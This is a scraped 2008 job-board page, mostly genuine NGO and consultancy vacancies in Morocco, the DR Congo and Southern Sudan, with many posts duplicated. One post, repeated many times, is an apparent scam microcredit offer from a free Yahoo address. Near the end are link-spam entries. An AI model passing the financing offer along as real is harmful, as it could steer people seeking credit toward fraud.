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Mise à jour : le 18/07/08 |
Date: 18juillet2008 PresentationBonjour Nous vous envoyons ce message pour vous présentez nos services. La Microcred est une société canadienne d'investissement qui a pour but de créer et de développer un groupe d'institutions de microfinance servant des clients exclus du système financier traditionnel,de faire de microcredit aux ONG ,aux Ecoles, aux entrepreuneurs,aux sociétés ,aux petites entreprises,aux jeunes diplomés ....ect. MicroCred intervient en investissant dans des sociétés ou des banques de microfinance et en fournissant toute l'assistance technique nécessaire à ces sociétés ou personnalités pour devenir des institutions de microfinance leaders dans leur pays. Les jeunes diplomés Sont également les bienvenus au sein de notre service. Nous avons nos representant un peu partout dans le monde. Alors nous prions tous ce qui sont intéressé à cet Offre de financement d'écrire a notre adresse par mail : chargederelationexterieur@yahoo.fr pour avoir des informations à remplir pour leur financement. Mme Christelle BONIA Directrice Des Opérations. BONNE LECTURE A VOUS Good morning We're sending the message you present to our services. The Microcred is a Canadian investment that has to to create and develop a group of microfinance institutions serving customers outside the traditional financial system, to of microcredit NGOs, schools, the entrepreuneurs, companies , small businesses, young graduates .... ect. MicroCred comes to investing in companies or banks microfinance and providing all the technical assistance necessary for these companies or individuals to become microfinance institutions are leaders in their countries. Young graduates are also welcome within our service. We have our representative around the world. So we pray that all who are interested in this offer financing write to our e-mail address: chargederelationexterieur@yahoo.fr for information to fill in for their financing. Ms. Christelle BONIA Director of Operations. GOOD READING TO YOU OffreBonjour Nous vous envoyons ce message pour vous présentez nos services. La Microcred est une société canadienne d'investissement qui a pour but de créer et de développer un groupe d'institutions de microfinance servant des clients exclus du système financier traditionnel,de faire de microcredit aux ONG ,aux Ecoles, aux entrepreuneurs,aux sociétés ,aux petites entreprises,aux jeunes diplomés ....ect. MicroCred intervient en investissant dans des sociétés ou des banques de microfinance et en fournissant toute l'assistance technique nécessaire à ces sociétés ou personnalités pour devenir des institutions de microfinance leaders dans leur pays. Les jeunes diplomés Sont également les bienvenus au sein de notre service. Nous avons nos representant un peu partout dans le monde. Alors nous prions tous ce qui sont intéressé à cet Offre de financement d'écrire a notre adresse par mail : chargederelationexterieur@yahoo.fr pour avoir des informations à remplir pour leur financement. Mme Christelle BONIA Directrice Des Opérations. BONNE LECTURE A VOUS Good morning We're sending the message you present to our services. The Microcred is a Canadian investment that has to to create and develop a group of microfinance institutions serving customers outside the traditional financial system, to of microcredit NGOs, schools, the entrepreuneurs, companies , small businesses, young graduates .... ect. MicroCred comes to investing in companies or banks microfinance and providing all the technical assistance necessary for these companies or individuals to become microfinance institutions are leaders in their countries. Young graduates are also welcome within our service. We have our representative around the world. So we pray that all who are interested in this offer financing write to our e-mail address: chargederelationexterieur@yahoo.fr for information to fill in for their financing. Ms. Christelle BONIA Director of Operations. GOOD READING TO YOU Date: 18juillet2008 PresentationBonjour Nous vous envoyons ce message pour vous présentez nos services. La Microcred est une société canadienne d'investissement qui a pour but de créer et de développer un groupe d'institutions de microfinance servant des clients exclus du système financier traditionnel,de faire de microcredit aux ONG ,aux Ecoles, aux entrepreuneurs,aux sociétés ,aux petites entreprises,aux jeunes diplomés ....ect. MicroCred intervient en investissant dans des sociétés ou des banques de microfinance et en fournissant toute l'assistance technique nécessaire à ces sociétés ou personnalités pour devenir des institutions de microfinance leaders dans leur pays. Les jeunes diplomés Sont également les bienvenus au sein de notre service. Nous avons nos representant un peu partout dans le monde. Alors nous prions tous ce qui sont intéressé à cet Offre de financement d'écrire a notre adresse par mail : chargederelationexterieur@yahoo.fr pour avoir des informations à remplir pour leur financement. Mme Christelle BONIA Directrice Des Opérations. BONNE LECTURE A VOUS Good morning We're sending the message you present to our services. The Microcred is a Canadian investment that has to to create and develop a group of microfinance institutions serving customers outside the traditional financial system, to of microcredit NGOs, schools, the entrepreuneurs, companies , small businesses, young graduates .... ect. MicroCred comes to investing in companies or banks microfinance and providing all the technical assistance necessary for these companies or individuals to become microfinance institutions are leaders in their countries. Young graduates are also welcome within our service. We have our representative around the world. So we pray that all who are interested in this offer financing write to our e-mail address: chargederelationexterieur@yahoo.fr for information to fill in for their financing. Ms. Christelle BONIA Director of Operations. GOOD READING TO YOU OffreBonjour Nous vous envoyons ce message pour vous présentez nos services. La Microcred est une société canadienne d'investissement qui a pour but de créer et de développer un groupe d'institutions de microfinance servant des clients exclus du système financier traditionnel,de faire de microcredit aux ONG ,aux Ecoles, aux entrepreuneurs,aux sociétés ,aux petites entreprises,aux jeunes diplomés ....ect. MicroCred intervient en investissant dans des sociétés ou des banques de microfinance et en fournissant toute l'assistance technique nécessaire à ces sociétés ou personnalités pour devenir des institutions de microfinance leaders dans leur pays. Les jeunes diplomés Sont également les bienvenus au sein de notre service. Nous avons nos representant un peu partout dans le monde. Alors nous prions tous ce qui sont intéressé à cet Offre de financement d'écrire a notre adresse par mail : chargederelationexterieur@yahoo.fr pour avoir des informations à remplir pour leur financement. Mme Christelle BONIA Directrice Des Opérations. BONNE LECTURE A VOUS Good morning We're sending the message you present to our services. The Microcred is a Canadian investment that has to to create and develop a group of microfinance institutions serving customers outside the traditional financial system, to of microcredit NGOs, schools, the entrepreuneurs, companies , small businesses, young graduates .... ect. MicroCred comes to investing in companies or banks microfinance and providing all the technical assistance necessary for these companies or individuals to become microfinance institutions are leaders in their countries. Young graduates are also welcome within our service. We have our representative around the world. So we pray that all who are interested in this offer financing write to our e-mail address: chargederelationexterieur@yahoo.fr for information to fill in for their financing. Ms. Christelle BONIA Director of Operations. GOOD READING TO YOU Date: 18juillet2008 PresentationBonjour Nous vous envoyons ce message pour vous présentez nos services. La Microcred est une société canadienne d'investissement qui a pour but de créer et de développer un groupe d'institutions de microfinance servant des clients exclus du système financier traditionnel,de faire de microcredit aux ONG ,aux Ecoles, aux entrepreuneurs,aux sociétés ,aux petites entreprises,aux jeunes diplomés ....ect. MicroCred intervient en investissant dans des sociétés ou des banques de microfinance et en fournissant toute l'assistance technique nécessaire à ces sociétés ou personnalités pour devenir des institutions de microfinance leaders dans leur pays. Les jeunes diplomés Sont également les bienvenus au sein de notre service. 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So we pray that all who are interested in this offer financing write to our e-mail address: chargederelationexterieur@yahoo.fr for information to fill in for their financing. Ms. Christelle BONIA Director of Operations. GOOD READING TO YOU OffreBonjour Nous vous envoyons ce message pour vous présentez nos services. La Microcred est une société canadienne d'investissement qui a pour but de créer et de développer un groupe d'institutions de microfinance servant des clients exclus du système financier traditionnel,de faire de microcredit aux ONG ,aux Ecoles, aux entrepreuneurs,aux sociétés ,aux petites entreprises,aux jeunes diplomés ....ect. MicroCred intervient en investissant dans des sociétés ou des banques de microfinance et en fournissant toute l'assistance technique nécessaire à ces sociétés ou personnalités pour devenir des institutions de microfinance leaders dans leur pays. Les jeunes diplomés Sont également les bienvenus au sein de notre service. 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So we pray that all who are interested in this offer financing write to our e-mail address: chargederelationexterieur@yahoo.fr for information to fill in for their financing. Ms. Christelle BONIA Director of Operations. GOOD READING TO YOU Date: 07/07/2008 PresentationOffreCecoforma, société d'ingénieurie et de conseil, recherche actuellement DE MANIERE URGENTE des experts formateurs avec une expérience dans le secteur automobile, si possible également en Afrique Subsaharienne, afin de répondre à un projet au Maroc : Office de la Formation Professionnelle et de la Promotion du Travail. Le projet vise à doter les entreprises de l’industrie automobile au Maroc de personnel qualifié capable d'accompagner la délocalisation au Maroc des activités des grandes entreprises internationales et la mise à niveau des entreprises nationales en dispensant des formations dans l’industrie automobile, plus précisément dans le domaine des équipements automobiles, permettant de suivre et d'anticiper l'évolution de ce secteur. Pour plus d'informations, nous vous invitons à consulter les Termes de références du projet (voir fichier joint). Lieu où se déroulera la mission : Casablanca Durée de la mission : La durée calendaire du projet est de trente (30) mois. Langue de la mission : Français Profils des experts recherchés par Cecoforma : 1. Expert 1 - Team Leader - Expert Ingénieur de formation, Méthodologue chargé de la coordination (100 jours de travail) - Expérience internationale d’au moins 3 années dans le développement et l’implantation des programmes de formation professionnelle dans le secteur automobile. 2. Expert 2 - pour les filières «TS en bureau d’études » (40 jours de travail) – Expérience internationale dans le domaine du bureau d’études lié à l’industrie automobile. 3. Expert 3 - en ingénierie de formation pour les filières « TS en bureau des méthodes» (40 jours de travail) - expérience internationale dans le domaine du bureau des méthodes lié à l’industrie automobile 4. Expert en ingénierie de formation pour la filière « TS en logistique» (40 jours de travail) - expérience internationale dans le domaine du logistique lié à l’industrie automobile. 5. Expert en ingénierie de formation pour la filière «TS en électronique embarquée » (50 jours de travail) - expérience internationale dans le domaine de l’électronique automobile. 6. Expert en ingénierie de formation pour la filière « TS en gestion de la maintenance» (40 jours de travail) - expérience internationale dans le domaine de la gestion de la maintenance 7. Expert en ingénierie de formation pour la filière « Agent de production » (50 jours de travail) - expérience internationale dans le domaine de la production lié à l’industrie automobile. 8. Expert en ingénierie de formation pour la filière « TS en qualité» (40 jours de travail) - expérience internationale dans le domaine de la qualité lié à l’industrie automobile Date limite pour remises des candidatures : le 14/07/2008 Si vous êtes intéressés, merci de nous renvoyer votre CV actualisé sous format européen (voir ci-joint) à Pauline Drese (paulined@cecoforma.com) sous la référence « Candidature Maroc OFPPT». Date: 09/07/2008 PresentationRCN Justice & Démocratie est une ONG belge qui travaille depuis 2000 en République Démocratique du Congo (Kinshasa, Bas-Congo, Bandundu, Katanga, Ituri) au renforcement de l’Etat de droit et de la justice via des activités d’appui institutionnel (formation de personnel judiciaire, appui documentaire) et via des activités de sensibilisation et de formation de la population. OffreRCN Justice & Démocratie engage un/e COORDONNATEUR/TRICE DE PROJETS (chef de mission) en République Démocratique du Congo (BUNIA) RCN Justice & Démocratie est une ONG belge qui travaille depuis 2000 en République Démocratique du Congo (Kinshasa, Bas-Congo, Bandundu, Katanga, Ituri) au renforcement de l’Etat de droit et de la justice via des activités d’appui institutionnel (formation de personnel judiciaire, appui documentaire) et via des activités de sensibilisation et de formation de la population. Sous réserve de l'obtention du financement, le poste est à pourvoir à Bunia dans le cadre d'un programme axé sur la prévention et la gestion des conflits fonciers à partir du 1er septembre 2008. Profil recherché : • Diplôme en droit ou expérience en lien avec le milieu juridique et/ou les questions foncières • Expérience professionnelle confirmée, dont minimum 3 ans en coopération au développement (en Afrique centrale et RDC de préférence) • Maîtrise du cycle de projet, de la compréhension des budgets et des cofinancements • Excellentes capacités de management, notamment en gestion des ressources humaines • Capacités d’analyse politique, de conceptualisation et de synthétisation • Aisance rédactionnelle, excellente maîtrise du français, bonne connaissance de l’anglais • Fluidité dans les relations humaines, sens de la relation institutionnelle et de la diplomatie • Curiosité et ouverture d’esprit à l’égard de la culture du pays • Capacité à travailler en situation de stress et en zone isolée Tâches : • Le/la coordonnateur/trice travaille sous l'autorité directe du coordonnateur de Kinshasa et a autorité sur l'ensemble de la mission. Il/elle est chargé/e de : • Superviser la mise en œuvre des objectifs du programme, dans le respect des budgets alloués • Participer à la gestion des contrats bailleurs et de la couverture financière de la mission (demandes, négociations, rapports, etc) • Superviser la gestion générale de la mission, en ce compris les ressources humaines • Représenter le programme dans les contacts avec les autorités et les autres partenaires congolais ou internationaux • Assurer une communication régulière avec le coordonnateur à Kinshasa • Assurer une réflexion constante au sein du projet sur les enjeux de la justice en RDC • Superviser la rédaction des rapports, projets, avenants. RCN propose un contrat à durée déterminée de 1 an renouvelable et une prise en charge globale (voyages, maison, assurances, salaire, per diem, véhicule…). CV et lettres de motivation en français à adresser par email à Florence Liégeois, responsable du programme RDC à Bruxelles (jobrdc@rcn-ong.be) avant le 22 juillet 2008. Seules les personnes présélectionnées seront contactées. Date: 08/07/2008 PresentationCecoforma, société d'ingénieurie et de conseil, recherche actuellement DE MANIERE URGENTE des experts formateurs avec une expérience dans le secteur automobile, si possible également en Afrique Subsaharienne, afin de répondre à un projet au Maroc : Office de la Formation Professionnelle et de la Promotion du Travail. OffreCecoforma, société d'ingénieurie et de conseil, recherche actuellement DE MANIERE URGENTE des experts formateurs avec une expérience dans le secteur automobile, si possible également en Afrique Subsaharienne, afin de répondre à un projet au Maroc : Office de la Formation Professionnelle et de la Promotion du Travail. Le projet vise à doter les entreprises de l’industrie automobile au Maroc de personnel qualifié capable d'accompagner la délocalisation au Maroc des activités des grandes entreprises internationales et la mise à niveau des entreprises nationales en dispensant des formations dans l’industrie automobile, plus précisément dans le domaine des équipements automobiles, permettant de suivre et d'anticiper l'évolution de ce secteur. Pour plus d'informations, nous vous invitons à consulter les Termes de références du projet (voir fichier joint). Lieu où se déroulera la mission : Casablanca Durée de la mission : La durée calendaire du projet est de trente (30) mois. Langue de la mission : Français Profils des experts recherchés par Cecoforma : 1. Expert 1 - Team Leader - Expert Ingénieur de formation, Méthodologue chargé de la coordination (100 jours de travail) - Expérience internationale d’au moins 3 années dans le développement et l’implantation des programmes de formation professionnelle dans le secteur automobile. 2. Expert 2 - pour les filières «TS en bureau d’études » (40 jours de travail) – Expérience internationale dans le domaine du bureau d’études lié à l’industrie automobile. 3. Expert 3 - en ingénierie de formation pour les filières « TS en bureau des méthodes» (40 jours de travail) - expérience internationale dans le domaine du bureau des méthodes lié à l’industrie automobile 4. Expert en ingénierie de formation pour la filière « TS en logistique» (40 jours de travail) - expérience internationale dans le domaine du logistique lié à l’industrie automobile. 5. Expert en ingénierie de formation pour la filière «TS en électronique embarquée » (50 jours de travail) - expérience internationale dans le domaine de l’électronique automobile. 6. Expert en ingénierie de formation pour la filière « TS en gestion de la maintenance» (40 jours de travail) - expérience internationale dans le domaine de la gestion de la maintenance 7. Expert en ingénierie de formation pour la filière « Agent de production » (50 jours de travail) - expérience internationale dans le domaine de la production lié à l’industrie automobile. 8. Expert en ingénierie de formation pour la filière « TS en qualité» (40 jours de travail) - expérience internationale dans le domaine de la qualité lié à l’industrie automobile Date limite pour remises des candidatures : le 14/07/2008 Si vous êtes intéressés, merci de nous renvoyer votre CV actualisé sous format européen (voir ci-joint) à Pauline Drese (paulined@cecoforma.com) sous la référence « Candidature Maroc OFPPT». Merci de veiller à mettre en avant dans vos expériences celles qui sont pertinentes pour le projet. Votre CV sera inclus dans notre base de données pour le projet. Si notre proposition est acceptée, nous vous recontacterons pour connaître vos disponibilités et possibilités pour ce projet et négocierons les conditions financières à ce moment. Les documents à nous renvoyer afin que votre de dossier de candidature soit complet sont les suivants (voir fichiers joints) : - CV daté et signé - Déclaration de disponibilité signée (sera envoyée sur demande) Date: 08/07/2008 PresentationCecoforma, société d'ingénierie et de conseil, recherche actuellement DE MANIERE URGENTE des experts formateurs avec une expérience dans le secteur automobile, si possible également en Afrique Subsaharienne, afin de répondre à un projet au Maroc : Office de la Formation Professionnelle et de la Promotion du Travail. OffreCecoforma, société d'ingénieurie et de conseil, recherche actuellement DE MANIERE URGENTE des experts formateurs avec une expérience dans le secteur automobile, si possible également en Afrique Subsaharienne, afin de répondre à un projet au Maroc : Office de la Formation Professionnelle et de la Promotion du Travail. Le projet vise à doter les entreprises de l’industrie automobile au Maroc de personnel qualifié capable d'accompagner la délocalisation au Maroc des activités des grandes entreprises internationales et la mise à niveau des entreprises nationales en dispensant des formations dans l’industrie automobile, plus précisément dans le domaine des équipements automobiles, permettant de suivre et d'anticiper l'évolution de ce secteur. Pour plus d'informations, nous vous invitons à consulter les Termes de références du projet (sur demande). Lieu où se déroulera la mission : Casablanca Durée de la mission : La durée calendaire du projet est de trente (30) mois. Langue de la mission : Français Profils des experts recherchés par Cecoforma : 1. Expert 1 - Team Leader - Expert Ingénieur de formation, Méthodologue chargé de la coordination (100 jours de travail) - Expérience internationale d’au moins 3 années dans le développement et l’implantation des programmes de formation professionnelle dans le secteur automobile. 2. Expert 2 - pour les filières «TS en bureau d’études » (40 jours de travail) – Expérience internationale dans le domaine du bureau d’études lié à l’industrie automobile. 3. Expert 3 - en ingénierie de formation pour les filières « TS en bureau des méthodes» (40 jours de travail) - expérience internationale dans le domaine du bureau des méthodes lié à l’industrie automobile 4. Expert en ingénierie de formation pour la filière « TS en logistique» (40 jours de travail) - expérience internationale dans le domaine du logistique lié à l’industrie automobile. 5. Expert en ingénierie de formation pour la filière «TS en électronique embarquée » (50 jours de travail) - expérience internationale dans le domaine de l’électronique automobile. 6. Expert en ingénierie de formation pour la filière « TS en gestion de la maintenance» (40 jours de travail) - expérience internationale dans le domaine de la gestion de la maintenance 7. Expert en ingénierie de formation pour la filière « Agent de production » (50 jours de travail) - expérience internationale dans le domaine de la production lié à l’industrie automobile. 8. Expert en ingénierie de formation pour la filière « TS en qualité» (40 jours de travail) - expérience internationale dans le domaine de la qualité lié à l’industrie automobile Date limite pour remises des candidatures : le 14/07/2008 Si vous êtes intéressés, merci de nous renvoyer votre CV actualisé sous format européen (voir ci-joint) à Pauline Drese (paulined@cecoforma.com) sous la référence « Candidature Maroc OFPPT». Merci de veiller à mettre en avant dans vos expériences celles qui sont pertinentes pour le projet. Votre CV sera inclus dans notre base de données pour le projet. Si notre proposition est acceptée, nous vous recontacterons pour connaître vos disponibilités et possibilités pour ce projet et négocierons les conditions financières à ce moment. Les documents à nous renvoyer afin que votre de dossier de candidature soit complet sont les suivants (voir fichiers joints) : - CV daté et signé - Déclaration de disponibilité signée (sera envoyée sur demande) Date: 30 juin 2008 PresentationJe suis détachée de l'éducation nationale française.Je travaille à L' aefe dans un établissement français à Casablanca,Maroc . Je cherche une activité dans le domaine de l'enseignement , en Afrique, à partir de septembre 2009 date à laquelle je serais en retraite. Offreencadrement pédagogique dans une structure scolaire Date: 23 juin 2008 PresentationR.C.N. Justice & Democracy is a Brussels based association that conducts programmes to support institutions and civil society within the the judicial sector in fragile states. Its actions include: training, technical and logistical support, Rule of Law promotion tools, legal documentation, thematic studies. OffreR.C.N. Justice & Democracy is looking for a consultant to evaluate its program in Southern Sudan (Juba). The 15 days mission will include a phase of preparatory work (2 days), one field trip (10 days) and a phase of completion of the report (3 days). Mission’s objective: Evaluate the program: Assistance to the Southern Sudanese Justice System. Qualifications and qualities • Working experience in fragile states. • Experience in evaluation of governance programs, preferably those that are related to justice. • Common Law or comparative law experience is preferable. • Fluency in English required. • Very good communication skills, oral and written (proven track of reports). • Rigor, synthesis capability, sense of organization, independence, meeting deadlines. Mission Duration: 15 days of service between July 15, 2008 and July 31, 2008. Financial conditions (contract service): • Daily rate: 250 Euros (all taxes included). • Per diem for living expenses on the field. • Accomodation provided. • Costs of transportation and communication related to field trips provided. Applications (CV + proposed methodology for conducting the work - max 5 pages) are to be sent before July the 8th 2008 to the following address with reference "Evaluation Consultant”: jobprogramme@rcn-ong.be Only selected applicants will be contacted again. Terms of Reference (summary) Description of the program Title of the program Assistance to the Southern Sudanese Justice System by Establishing Improved Human Resource Capacity and Reinforced Operational Capacity. Duration of the action 12 months (start : September 2007 – end : September 2008) Objectives of the action Overall objectives - Reinforce the rule of law in Southern Sudan. - Contribute to the successful implementation of the Comprehensive Peace Agreement. - Prevent future conflicts and promote peaceful coexistence in Southern Sudan. Specific objective Contribute to an effectively functioning Southern Sudanese justice system. Target groups and beneficiaries 1. Judiciary of Southern Sudan (JoSS). 2. Ministry of Legal Affairs and Constitutional Development (MoLACD). 3. Justice professionals and other actors of the justice system (e.g. judges, prosecutors, support staff, advocates, and so on). Estimated results Improved competences of justice actors and reinforced operational capacity of the justice system Main activities - Training of trainers. - Elementary Training for county court judges. - Elementary Training for prosecutors/legal counsel. - Elementary Training for JoSS and MoLACD support staff including the department of contracts. - Establishment of a comprehensive database of legal qualifications, competences, and continuous training needs of recipients of RCN training. - Round Table Discussions/”Study Visits” for various justice actors. - Basic logistical support for all training participants and their institutions. - Development of legal training manuals in basic common law principles and procedure pertinent to Southern Sudan, as well as in professional skills and legal English . Description of the evaluation mission The evaluation’s main goals are to: (i) Determine the extent to which the objectives as defined in the logical framework have been met as of the date of the evaluation (icluding satisfaction of the benificiaries), and assess the likelihood of achieving them upon project completion. (ii) Evaluate the project’s relevance, efficiency (focus on implementation capacities of the implementing agency, related to external and internal constraints), effectiveness and durability. (iii) Identify internal and external factors that have influenced the ability of beneficiary groups and executing agency to meet projected targets. (iv) Identify opportunities and potential options for improving the program, which could include modification of activities, responsibilities of staff, schedule of activities and budget allocation. (v) Evaluate the relevance and the feasability of a second phase of the project. In addition, the evaluation will identify lessons learned and provide recommendations to improve the execution of the current project and to facilitate the design of a second phase of the project. Date: 23 juin 2008 PresentationR.C.N. Justice & Democracy is a Brussels based association that conducts programmes to support institutions and civil society within the the judicial sector in fragile states. Its actions include: training, technical and logistical support, Rule of Law promotion tools, legal documentation, thematic studies. OffreR.C.N. Justice & Democracy is looking for a consultant to evaluate its program in Southern Sudan (Juba). The 15 days mission will include a phase of preparatory work (2 days), one field trip (10 days) and a phase of completion of the report (3 days). Mission’s objective: Evaluate the program: Assistance to the Southern Sudanese Justice System. Qualifications and qualities • Working experience in fragile states. • Experience in evaluation of governance programs, preferably those that are related to justice. • Common Law or comparative law experience is preferable. • Fluency in English required. • Very good communication skills, oral and written (proven track of reports). • Rigor, synthesis capability, sense of organization, independence, meeting deadlines. Mission Duration: 15 days of service between July 15, 2008 and July 31, 2008. Financial conditions (contract service): • Daily rate: 250 Euros (all taxes included). • Per diem for living expenses on the field. • Accomodation provided. • Costs of transportation and communication related to field trips provided. Applications (CV + proposed methodology for conducting the work - max 5 pages) are to be sent before July the 8th 2008 to the following address with reference "Evaluation Consultant”: jobprogramme@rcn-ong.be Only selected applicants will be contacted again. Terms of Reference (summary) Description of the program Title of the program Assistance to the Southern Sudanese Justice System by Establishing Improved Human Resource Capacity and Reinforced Operational Capacity. Duration of the action 12 months (start : September 2007 – end : September 2008) Objectives of the action Overall objectives - Reinforce the rule of law in Southern Sudan. - Contribute to the successful implementation of the Comprehensive Peace Agreement. - Prevent future conflicts and promote peaceful coexistence in Southern Sudan. Specific objective Contribute to an effectively functioning Southern Sudanese justice system. Target groups and beneficiaries 1. Judiciary of Southern Sudan (JoSS). 2. Ministry of Legal Affairs and Constitutional Development (MoLACD). 3. Justice professionals and other actors of the justice system (e.g. judges, prosecutors, support staff, advocates, and so on). Estimated results Improved competences of justice actors and reinforced operational capacity of the justice system Main activities - Training of trainers. - Elementary Training for county court judges. - Elementary Training for prosecutors/legal counsel. - Elementary Training for JoSS and MoLACD support staff including the department of contracts. - Establishment of a comprehensive database of legal qualifications, competences, and continuous training needs of recipients of RCN training. - Round Table Discussions/”Study Visits” for various justice actors. - Basic logistical support for all training participants and their institutions. - Development of legal training manuals in basic common law principles and procedure pertinent to Southern Sudan, as well as in professional skills and legal English . Description of the evaluation mission The evaluation’s main goals are to: (i) Determine the extent to which the objectives as defined in the logical framework have been met as of the date of the evaluation (icluding satisfaction of the benificiaries), and assess the likelihood of achieving them upon project completion. (ii) Evaluate the project’s relevance, efficiency (focus on implementation capacities of the implementing agency, related to external and internal constraints), effectiveness and durability. (iii) Identify internal and external factors that have influenced the ability of beneficiary groups and executing agency to meet projected targets. (iv) Identify opportunities and potential options for improving the program, which could include modification of activities, responsibilities of staff, schedule of activities and budget allocation. (v) Evaluate the relevance and the feasability of a second phase of the project. In addition, the evaluation will identify lessons learned and provide recommendations to improve the execution of the current project and to facilitate the design of a second phase of the project. Date: 23 juin 2008 PresentationR.C.N. Justice & Democracy is a Brussels based association that conducts programmes to support institutions and civil society within the the judicial sector in fragile states. Its actions include: training, technical and logistical support, Rule of Law promotion tools, legal documentation, thematic studies. OffreDate: PresentationOffreDate: 16/06/2008 PresentationOffreDate: 14/06/2008 PresentationRCN Justice & Democracy is an NGO that implements actions in the area of justice in partnership with authorities involved in a process of restoring the rule of law and with the civil society (www.rcn-ong.be). The aim is to contribute to ensuring respect for basic human rights by specifically defending the right to fair justice as well as the protection of the rights recognized by international conventions. Since 2007, RCN J&D is working in Southern Sudan (at Juba, the capital city) to strengthen the rule of law and Justice through institutional support activities (training of judicial personnel). OffreRCN Justice & Democracy is seeking to recruit an Administration - Finance – Logistic Officer For SOUTHERN-SUDAN (JUBA) RCN Justice & Democracy is an NGO that implements actions in the area of justice in partnership with authorities involved in a process of restoring the rule of law and with the civil society (www.rcn-ong.be). The aim is to contribute to ensuring respect for basic human rights by specifically defending the right to fair justice as well as the protection of the rights recognized by international conventions. Since 2007, RCN J&D is working in Southern Sudan (at Juba, the capital city) to strengthen the rule of law and Justice through institutional support activities (training of judicial personnel). Job profile: • Person holding a university degree in Management, Finance or Administration • Proven working experience in financial and administrative management, notably in humanitarian expatriation • Organisational, team leading and delegation skills • Experience in human resources management • Capacity to work independently and as part of a team • Human relations potential, open-mindedness, sense of institutional relation • Negotiation skills • Excellent knowledge of English is a must (knowledge of French would be an advantage) • Sensitivity to the objective of the project and adherence to RCN J&D principles Duties and responsibilities: • Financial and accounting management : elaboration and monitoring of budgets, cash management, accounts management (SAGA), writing of financial reports, financial management of contracts with donors • Administrative and human resources management: general administration of the mission, supervision of the application of the local staff management framework, support to and supervision of the staff working with the department of administration, finance and logistics • Management, coordination and supervision of the logistics of the mission (vehicles, computer equipment, office, leases, operational organization of activities …) • Management of the operational aspects of the security of persons and property of the mission • The incumbent will work under the supervision of and report to the Coordinator of the mission. RCN Justice & Democracy is offering a three month renewable work contract, and will take care of all charges (including air ticket, accommodation, insurances, salary, per diem …). Commencement of contract as soon as possible after briefing in Brussels. Only short-listed applicants will be re-contacted. CV, motivation letters and references should be forwarded by email to Raphaël Coppin, (raphael.coppin@rcn-ong.be) not later than 25/06/2008. Date: 11 Juin, 2008 Presentationwww.ircjobs.org OffreThe IRC is a recognized leader in humanitarian emergencies. When thousands flee war or repression, the IRC is immediately on the ground to make sure life-saving help gets to those who need it. We provide shelter, clean water, healthcare, and education to displaced people. Most importantly, IRC works with them to make sure they survive their exile in dignity. Background Violent civil conflict has forced more than three hundred thousand people from their homes in the North Kivu province of the Democratic Republic of Congo. With multiple non-aligned rebel groups and a renewed commitment from the DRC Government to clear the province forcibly the situation is bleak for civilians. The International Rescue Committee has launched an emergency response that will see the provision of emergency health, environmental health and gender based violence response programs to displaced and vulnerable host communities within the far eastern territory of Rutshuru. Job Responsibilities The Field Coordinator is responsible for providing management oversight to all programming and operations functions at the field level. This includes Program Implementation, Operations, Safety and Security, and Finance Management. The Field Coordinator will be based in Rutshuru with some travel to Goma, the provincial capital, for representational and coordination purposes. • Oversees IRC Program & Operations (administrative, logistical and fiscal management) at the field site. • Represents IRC at the field office level and with all Government, Non-Government and UN partners. • Supervises Technical Coordinators/Managers based at the field site, providing technical and non-technical management support / advice in the implementation of projects. • Develops a long term strategy for activities at the field site, integrating the IRC Programming Principles and Program Framework. • Working in collaboration with Technical Coordinators/Managers, designs and implements a Monitoring and Evaluation plan for programs operated at the field level. This system should ensure that activity, impact and output data is captured in an accurate and efficient manner, and that programs are continually tailored to optimize quality and impact levels. • Ensures donor reports are prepared and submitted in a timely manner, as per the grant agreements • With relevant Technical Coordinators, facilitates inter-department collaboration, work plans and regular meetings. • Chairs weekly Management Meetings. • Submits monthly management reports to the Provincial Director • Develops the IRC program at field site level, assisting the Provincial Director in formulating annual plans and in determining program direction. • Participates in strategic planning for the country program and facilitate workshops (as required) and in preparation of strategic and annual action plans • Ensures positive interaction and good relations with partners and local communities. • Keep Provincial Director informed about any important developments or events in field location. • Establishes and maintain security guidelines for IRC field office. • Follows and implements procedures and guidelines as informed by Provincial Director, Country Director and / or IRC HQ. • Any other duties as assigned. Job Requirements • University degree; preferably an advanced degree in an appropriate field such as Economics, International Relations or Development Studies. • Minimum of 3 years overseas experience, preferably in complex emergency settings. • Fluency in both French and English required. • Knowledge of and experience in working with and coordinating with international and national partner organizations. • Ability to live and productively work in insecure, unstable and/or harsh environments. • Excellent program management, project planning, budget management and organizational, interpersonal, and communication skills. • Must be able to work independently while being a strong team player with proven management and leadership skills. • Ability to work CODAN, VHF and Sat phones. • Additional qualities: ability to multitask, ability to handle pressure well, ability to improvise, flexibility, cultural and environmental sensitivity. This is a long term, unaccompanied position. Date: Aryan Presentation864b6d03ab829d6e650b03ffcc5036a8 <a href="http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea"> http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea </a> http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea 3b8cb442696770cabf0fbc70dba055d5 Offre864b6d03ab829d6e650b03ffcc5036a8 <a href="http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea"> http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea </a> http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea 3b8cb442696770cabf0fbc70dba055d5 Date: Aryan Presentation864b6d03ab829d6e650b03ffcc5036a8 <a href="http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea"> http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea </a> http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea 3b8cb442696770cabf0fbc70dba055d5 Offre864b6d03ab829d6e650b03ffcc5036a8 <a href="http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea"> http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea </a> http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea 3b8cb442696770cabf0fbc70dba055d5 Date: Aryan Presentation864b6d03ab829d6e650b03ffcc5036a8 <a href="http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea"> http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea </a> http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea 3b8cb442696770cabf0fbc70dba055d5 Offre864b6d03ab829d6e650b03ffcc5036a8 <a href="http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea"> http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea </a> http://813.ezgckg.com/0348c7e7776a3bdc2635462f5f6cfdea 3b8cb442696770cabf0fbc70dba055d5 Date: 15/05/08 PresentationONG de 